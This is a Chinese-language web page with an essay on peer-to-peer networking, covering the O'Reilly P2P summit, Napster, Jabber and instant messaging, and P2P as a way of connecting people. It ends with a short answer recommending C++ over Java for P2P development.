每個具有劃時代意義的創新出現的時候它往往可能被人們誤讀。P2P這次也不例外,Napster讓人們開始關注P2P,但也使得許多人認為P2P就是歌曲交換、文件交換,甚至認為P2P和盜版有著必然的聯系。可以說人們對P2P的理解是被誤導的和不完全的。

自由軟體(Free software)出現之初也面臨著誤讀的困境,人們開始的時候將Free理解為免費的,從而認為自由軟體是不可靠的、認為自由軟體運動是激進的「反文化的」。事實上Free更多的應該指自由地探索想法、在軟體中表達出來和共享軟體。這一點對自由軟體的鼓吹者們來說是自然而然的,但是需要有人去告訴商界、媒體和公眾自由軟體在經濟上和邏輯上是可行的。當時著名出版人O』reilly組織了一次自由軟體峰會重新定義自由軟體,將自由軟體改名為開放源碼軟體(open source software)。這一重新定義使得人們開始撥開誤解的烏雲,了解Free的本質。開放源碼將人們從有缺陷的軟體、鎖定效應和傳統的軟體分發渠道中解脫出來。自由表示合作將可以跨越公司的邊界、共享基礎性的開發,使人們可以把注意力集中到高附加值的服務上去。 今年8月,O』Reilly又組織另一次峰會來幫助人們認識P2P的潛力和消除Napster、Gnutella造成的P2P是盜版技術的負面影響。另外,他認為目前P2P的狀態類似於「盲人摸象」,P2P技術的領導者們每個人都看到了P2P這頭「巨象」的一些特徵。,如果他們能夠有機會交流思想,P2P將會更快地發展。這次P2P峰會主要有三個目的:定義P2P,我們要從中的到什麼以及為什麼;描述P2P的機會,P2P能解決什麼樣的問題;形成一個提供給大眾的關於P2P的信息,消除那些負面影響。

參與P2P峰會的有媒體不斷報道的那些提供文件交換服務如Napster、Gnutella、Freenet的開發者,也有那些試圖挖掘P2P分布計算能力的公司和組織如Popular Power、SETI@home、distributed.net等的開發者。後面的三家公司希望使用P2P技術集中那些聯接在網路上的電腦的空閑的CPU時間片斷、內存空間、硬碟空間來替代「超級計算機」。其它正在進行的P2P應用還有,IBM、微軟、Ariba也在合作開展一個名為UDDI的項目以將B2B電子商務標准化;Eazel正在建立下一代的Linux桌面;Jabber已經開發了一種基於XML、開放的即時訊息標准,Jabber被認為是建立了未來使用P2P數據交換的標准;由Lotus Notes的開發者創建的Groove試圖「幫助人們以全新的方式溝通」;英特爾也在推廣它的P2P技術以幫助更有效地使用晶元的計算能力。

列這樣一個名單有一點枯燥,尤其是對於那些對於具體細節沒有太多興趣的讀者,但這又是必要的。因為這些描述可以讓我們更全面的了解。

(6)尚未被了解的P2P

Napster是與設備相關的,用戶連接到到由它創建的P2P網路上是為了獲取Mp3歌曲文件。但是對於即時訊息這一類P2P應用來說是完全不同的,別人連接的目的是和另一個Peer交流,而不必管他使用的是電腦、手持電腦或者手機。P2P提供了在網路上與設備無關的實時交流的能力。

這種將把用戶實時的連接起來的能力是P2P最令人感到激動的特性。事實上我們可以從AOL的AIM、國內Oicq受歡迎的程度認識到這個事實。

能夠實時地尋找和聯絡需要的人是商業應用的基本要求,電話可以做到這一點,而在網路上最常用的E-mail並不能做到這一點。因此,即時訊息將不僅僅是一個有趣的服務,更多的它將是下一個最基本的互聯網商業工具。即時訊息現在看起來可能成為諸如客戶服務、供應鏈管理等商業應用的平台。開發了一個開放源碼的基於XML和Java即時訊息服務的Jabber似乎正是創建了一個這樣的平台。Jabber的開發者似乎刻意集中了互聯網現有的所有激動人心的東西:P2P、Java、XML和開放源碼。它是不是有這種潛力呢?我們最好拭目以待,但Jabber的模式至少要比Napster要清晰得多。

Negroponte在其《數字化生存》中曾經有一個著名的論述,「網路上的東西將比人要多」。P2P將使得這些「東西」之間的直接交流成為可能,網路上每個設備都是「活躍」的,而不是像過去那樣有部分是非常活躍,而有的則被動的,有時候直接交流的那些設備可能都是某一個用戶自己的,譬如說掌上電腦和台式電腦的數據同步是最好的例子。如果用戶的掌上電腦上有些數據和內容是台式電腦上沒有的,台式電腦也應該能夠向掌上電腦要求獲取那些信息,這應該跟我們通過Napster到其他用戶那兒去搜索和下載mp3歌曲一樣。

最重要的一點是,不是網路上的節點數目而是這些節點如何參與網路決定網路是否強大、是否有價值。怎樣使得網路上幾億的人和更多的設備都活躍地參與呢?P2P正是一系列架構、技術、策略的開端,它使得互聯網的這一理想開始變為現實。現在人們看到的和預言的都只是冰山露出的一個小角,更多的還在水下。

(7)P2P中的P是人(People)!

Dave Winner的論斷P2P中的P是人(people)!這可能是我讀到的關於P2P最深刻的解讀之一。

事實上,我們所處的真實生活是P2P的環境,人們可以和其他人直接地的交流。信息技術將我們帶到了網路空間,在網路空間我們仍然希望還能夠按照原來的P2P方式交流溝通。盡管互聯網本質上是支持對等交流模式,但是網路的發展給對等交流增加了許多障礙。

正如許多技術專家所指出的,動態IP地址、_blank">防火牆、代理伺服器從技術上使得對等連接變得很困難。更不用說目前的網路主導模式已經發展成為伺服器/客戶端模式,人們在網路上只能被動的接受那些大公司諸如Yahoo!、ABCnews.com等提供的信息,交流是非常困難的。(當然,在現實生活中諸如空間、社會等級等也束縛了人們的對等交流。但是如果網路能夠使我們看到對等交流的可能性,為什麼不去追求?)

可以這樣類比,互聯網的出現和電話的發明是具有同樣的意義的,但是互聯網最開始的主要特徵是非實時的,更類似於傳真,而沒有提供像電話那樣實時交流,現在P2P的即時訊息可能使得互聯網上的實時交流變得和Web頁面、E-mail那樣普遍和不可或缺。

對於所有的P2P應用來說,最先要做的就是恢復互聯網曾經失去的對等聯網能力。這也正是Napster從概念上最大的缺陷。(email是具有P2P交流的特徵的,但email缺乏實時交流的能力,它類似與傳真,但我們還需要「電話」的。)

從「人」的角度上將,P2P發展的要點並不是P2P網路架構是如何,而是P2P將人們在網路上連接起來了,人們可以在網路這個更迅疾的媒介上處理那些需要溝通的問題。這是最重要的。盡管到今天還有人在懷疑互聯網作為零售商業和B2B媒介的有效性,但是互聯網已經從根本上改變了我們的交流方式是不需要任何討論的。過分的談了「純粹的」的、完全消除控制的P2P是毫無意義的。中心化或者非中心化都只是工具,都是為了創造出使人們可以更有效地溝通的工具。

人類在現實生活中的經驗至今仍只有極少的部分被應用到網路上,如新聞、B2C、B2B。現在,人們最常使用的P2P被移植到了網路空間。P2P可能改變一些我們已經熟知的、習慣了的產品和服務,也會創造更多。

究竟會出現些什麼?預言未來的最好辦法是去創造。

⑽ p2p 用JAVA寫好,還是用VC++好

建議C++。因為跨平台的關系,java無法去過細的去實現底層的細節。而Java虛擬機也未能覆蓋那麼多范圍——雖然這種情況可能會最終有所改觀,但總體當前實現有可能性不大。

C++是實現這類程序的再方便不過的工具。相關的API都是用C寫的,使用起來很方便。

如果一定要用Java,可以參看SUN公司在2000年就推出了JXTA,該技術的目的是為P2P的網路應用開發提供一個統一的平台,而且為了鼓勵和支持該技術的發展,JXTA項目採用了開放源碼的方式,因此吸引了大量業界人士參與到JXTA技術的研究與應用當中,你可以從這方面入手來查找資料。

熱點內容
訪問外網伺服器加速軟體 發布:2024-04-19 17:48:45 瀏覽:695
加密軟體對比 發布:2024-04-19 17:27:05 瀏覽:367
保密管理系統怎麼連接伺服器 發布:2024-04-19 17:26:59 瀏覽:18
廣州社保卡密碼激活在哪裡辦 發布:2024-04-19 17:21:18 瀏覽:368
編譯器和操作系統有關系嗎 發布:2024-04-19 17:20:28 瀏覽:274
數學公式編譯器下載 發布:2024-04-19 17:02:52 瀏覽:987
網頁無法緩存視頻 發布:2024-04-19 16:56:44 瀏覽:615
演算法紅 發布:2024-04-19 16:44:42 瀏覽:625
海量數據存儲與處理 發布:2024-04-19 16:33:46 瀏覽:542
微信聊天記錄怎麼恢復安卓手機 發布:2024-04-19 16:33:24 瀏覽:811